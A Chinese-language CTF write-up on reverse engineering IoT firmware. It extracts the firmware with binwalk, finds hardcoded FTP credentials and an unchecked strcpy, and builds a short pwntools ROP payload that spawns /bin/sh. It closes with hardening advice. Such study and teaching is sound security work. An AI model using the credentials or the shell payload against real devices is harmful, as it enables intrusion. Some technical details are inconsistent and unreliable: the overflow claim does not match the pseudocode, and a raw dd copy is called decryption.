共计 1737 个字符,预计需要花费 5 分钟才能阅读完成。
背景介绍
固件安全分析是物联网设备安全评估的核心环节。随着 IoT 设备数量激增,固件漏洞已成为攻击者入侵智能设备的主要跳板。2021 年第五空间智能安全大赛中的 FTP 服务分析题目,典型反映了现实场景中因固件安全缺陷导致的认证绕过风险。通过逆向分析挖掘此类漏洞,不仅能提升 CTF 竞赛能力,更能应用于企业级 IoT 安全审计。
技术选型对比
-
binwalk
快速提取固件的首选工具,支持 200+ 文件签名识别,但无法处理自定义打包格式时需配合dd手动切割 -
Ghidra
NSA 开源的反编译工具,ARM 架构交叉引用分析出色,但大体积固件加载时内存消耗较高 -
IDA Pro
商业逆向标杆,支持动态调试和插件扩展,但 ARM-Thumb 混合模式切换需要手动干预
实战步骤详解
固件提取与解包
使用 binwalk 自动解包后,发现存在 SquashFS 文件系统残留数据:
#!/usr/bin/env python3
import subprocess
# 自动化固件提取脚本
def extract_firmware(firmware_path):
print("[*] Running binwalk analysis")
result = subprocess.run(["binwalk", "-e", firmware_path],
capture_output=True,
text=True
)
print(result.stdout)
# 处理加密分区场景
if "Unhandled compression type" in result.stderr:
print("[!] Detected custom packing, trying manual extraction")
subprocess.run(["dd", "if="+firmware_path, "bs=1", "skip=123456", "of=decrypted.bin"])
# 示例调用
extract_firmware("target_firmware.bin")
关键函数逆向分析
通过 Ghidra 定位到 FTP 认证函数check_credentials(),关键代码片段反编译结果如下(伪代码):
int check_credentials(char *username, char *password) {char ftpuser[16] = "ftpuser"; // 硬编码凭证
char ftppass[16] = "P@ssw0rd";
if (strcmp(username, ftpuser) == 0) {if (strcmp(password, ftppass) == 0) {return 1; // 认证成功}
}
return 0;
}

图示:函数栈帧分析显示密码缓冲区仅 16 字节,存在溢出可能
FTP 漏洞定位
审计发现 ARM 汇编中 strcpy 未做长度检查(对应指令集片段):
LDR R1, [R4] ; 用户输入加载到 R1
ADD R0, SP, #0x1C ; 栈缓冲区地址
BL strcpy ; 危险函数调用
漏洞利用开发
-
弱凭证利用
直接使用ftpuser:P@ssw0rd登录获取 shell 权限 -
栈溢出利用
构造 ROP 链覆盖返回地址,示例 payload 结构:from pwn import * # 计算偏移量 offset = cyclic_find(0x61616168) # Ghidra 分析得偏移为 132 # 构建 ROP 链 rop = ROP("./libc.so") rop.execve("/bin/sh", 0, 0) payload = b"A"*offset + rop.chain()
防御方案
-
凭证安全
强制首次登录修改默认密码,使用 PBKDF2 等算法加密存储 -
内存防护
编译时添加-fstack-protector-all和-Wl,-z,now选项 -
权限控制
通过 Linux capabilities 限制 FTP 进程权限
延伸思考
未来 IoT 固件安全面临三大挑战:
1. RISC- V 等新架构的逆向工具链不完善
2. 量子计算对传统加密算法的威胁
3. 供应链攻击导致的固件植入后门
实战练习
- 尝试在 QEMU 中模拟运行该固件
- 使用 Angr 符号执行自动挖掘认证逻辑漏洞
- 编写 IDA Python 脚本自动标记危险函数调用
推荐阅读
- 《IoT 渗透测试实战》第 5 章固件分析
- ARM 官方《Procedure Call Standard》文档
- 第五届第五空间大赛官方 writeup
